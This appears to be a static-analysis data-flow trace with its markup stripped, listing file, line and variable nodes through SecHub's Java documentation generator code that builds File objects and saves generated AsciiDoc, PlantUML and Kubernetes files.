+ 15 + 6 + targetFile + + 10 + + + 134 + writer.save(targetFile, text); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 7 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 8 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 9 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 10 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 11 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 12 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 13 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 14 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 36 + 25 + 1 + File + + 3 + + + 36 + File diagramsFolder = new File(documentsFolder.getParentFile(), "diagrams"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 36 + 8 + 2 + diagramsFolder + + 14 + + + 36 + File diagramsFolder = new File(documentsFolder.getParentFile(), "diagrams"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 37 + 37 + 3 + diagramsFolder + + 14 + + + 37 + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 37 + 8 + 4 + diagramsGenFolder + + 17 + + + 37 + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 55 + 51 + 5 + diagramsGenFolder + + 17 + + + 55 + generator.generateMessagingFiles(messagingFile, diagramsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 59 + 63 + 6 + diagramsGenFolder + + 17 + + + 59 + private void generateMessagingFiles(File messagingFile, File diagramsGenFolder) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 61 + 71 + 7 + diagramsGenFolder + + 17 + + + 61 + domainMessagingFilesGenerator.generateMessagingFiles(messagingFile, diagramsGenFolder, model); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 23 + 62 + 8 + diagramsGenFolder + + 17 + + + 23 + public void generateMessagingFiles(File messagingFile, File diagramsGenFolder, DomainMessagingModel model + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 27 + 33 + 9 + diagramsGenFolder + + 17 + + + 27 + generateMessagingPlantumlFile(diagramsGenFolder, reducedModelForOverview, "__Overview__ of domain **messaging** ", + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 71 + 50 + 10 + diagramsGenFolder + + 17 + + + 71 + private void generateMessagingPlantumlFile(File diagramsGenFolder, DomainMessagingModel model, String title, + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 30 + 11 + diagramsGenFolder + + 17 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 8 + 12 + targetFile + + 10 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 75 + 15 + 13 + targetFile + + 10 + + + 75 + writer.save(targetFile, generatedPlantuml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 14 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 15 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 16 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 17 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 18 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 19 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 20 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 21 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 37 + 28 + 1 + File + + 3 + + + 37 + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 37 + 8 + 2 + diagramsGenFolder + + 17 + + + 37 + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 55 + 51 + 3 + diagramsGenFolder + + 17 + + + 55 + generator.generateMessagingFiles(messagingFile, diagramsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 59 + 63 + 4 + diagramsGenFolder + + 17 + + + 59 + private void generateMessagingFiles(File messagingFile, File diagramsGenFolder) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 61 + 71 + 5 + diagramsGenFolder + + 17 + + + 61 + domainMessagingFilesGenerator.generateMessagingFiles(messagingFile, diagramsGenFolder, model); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 23 + 62 + 6 + diagramsGenFolder + + 17 + + + 23 + public void generateMessagingFiles(File messagingFile, File diagramsGenFolder, DomainMessagingModel model + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 27 + 33 + 7 + diagramsGenFolder + + 17 + + + 27 + generateMessagingPlantumlFile(diagramsGenFolder, reducedModelForOverview, "__Overview__ of domain **messaging** ", + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 71 + 50 + 8 + diagramsGenFolder + + 17 + + + 71 + private void generateMessagingPlantumlFile(File diagramsGenFolder, DomainMessagingModel model, String title, + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 30 + 9 + diagramsGenFolder + + 17 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 8 + 10 + targetFile + + 10 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 75 + 15 + 11 + targetFile + + 10 + + + 75 + writer.save(targetFile, generatedPlantuml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 12 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 13 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 14 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 15 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 16 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 17 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 18 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 19 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 21 + 1 + File + + 3 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 8 + 2 + targetFile + + 10 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 75 + 15 + 3 + targetFile + + 10 + + + 75 + writer.save(targetFile, generatedPlantuml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 104 + 10 + 1 + File + + 3 + + + 104 + return new File(genFolder, "gen_messaging.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 43 + 49 + 2 + createMessagingTargetFile + + 1 + + + 43 + File messagingFile = createMessagingTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 43 + 8 + 3 + messagingFile + + 13 + + + 43 + File messagingFile = createMessagingTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 55 + 36 + 4 + messagingFile + + 13 + + + 55 + generator.generateMessagingFiles(messagingFile, diagramsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 59 + 43 + 5 + messagingFile + + 13 + + + 59 + private void generateMessagingFiles(File messagingFile, File diagramsGenFolder) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 61 + 56 + 6 + messagingFile + + 13 + + + 61 + domainMessagingFilesGenerator.generateMessagingFiles(messagingFile, diagramsGenFolder, model); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 23 + 42 + 7 + messagingFile + + 13 + + + 23 + public void generateMessagingFiles(File messagingFile, File diagramsGenFolder, DomainMessagingModel model + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 60 + 15 + 8 + messagingFile + + 13 + + + 60 + writer.save(messagingFile, sb.toString()); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 9 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 10 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 11 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 12 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 13 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 14 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 15 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 16 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 70 + 21 + 1 + File + + 3 + + + 70 + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 70 + 8 + 2 + targetFile + + 10 + + + 70 + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 71 + 15 + 3 + targetFile + + 10 + + + 71 + writer.save(targetFile, useCaseAsciidoc); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 74 + 22 + 1 + File + + 3 + + + 74 + File targetFile2 = new File(documentsGenFolder, "gen_uc_restdoc.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 74 + 8 + 2 + targetFile2 + + 11 + + + 74 + File targetFile2 = new File(documentsGenFolder, "gen_uc_restdoc.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 75 + 15 + 3 + targetFile2 + + 11 + + + 75 + writer.save(targetFile2, usecaseRestDoc); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 85 + 22 + 1 + File + + 3 + + + 85 + File targetFile3 = new File(documentsGenFolder, "gen_uc_userdocumentation_restdoc.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 85 + 8 + 2 + targetFile3 + + 11 + + + 85 + File targetFile3 = new File(documentsGenFolder, "gen_uc_userdocumentation_restdoc.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 86 + 15 + 3 + targetFile3 + + 11 + + + 86 + writer.save(targetFile3, usecaseRestDocUserDocumentation); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 23 + 1 + File + + 3 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 22 + 5 + assertExists + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 72 + 6 + ensureKubernetesGenFolder + + 1 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 7 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 8 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 9 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 10 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 11 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 12 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 13 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 14 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 15 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 16 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 38 + 1 + File + + 3 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 2 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 3 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 21 + 1 + File + + 3 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 8 + 2 + targetFile + + 10 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 219 + 15 + 3 + targetFile + + 10 + + + 219 + writer.save(targetFile, sb.toString(), true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 4 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 5 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 6 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 7 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 8 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 9 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 197 + 22 + 1 + File + + 3 + + + 197 + File targetFile = new File(targetFolder, shellName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 197 + 9 + 2 + targetFile + + 10 + + + 197 + File targetFile = new File(targetFolder, shellName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 198 + 16 + 3 + targetFile + + 10 + + + 198 + writer.save(targetFile, sb.toString(), true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 4 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 5 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 6 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 7 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 8 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 9 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 27 + 10 + list + + 4 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 29 + 23 + 11 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 38 + 61 + 12 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 13 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 14 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 15 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 16 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 17 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 19 + 18 + split + + 5 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 29 + 19 + trim + + 1 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 5 + 20 + firstNotEmpty + + 13 + + + 55 + firstNotEmpty=split.trim(); + + + + + 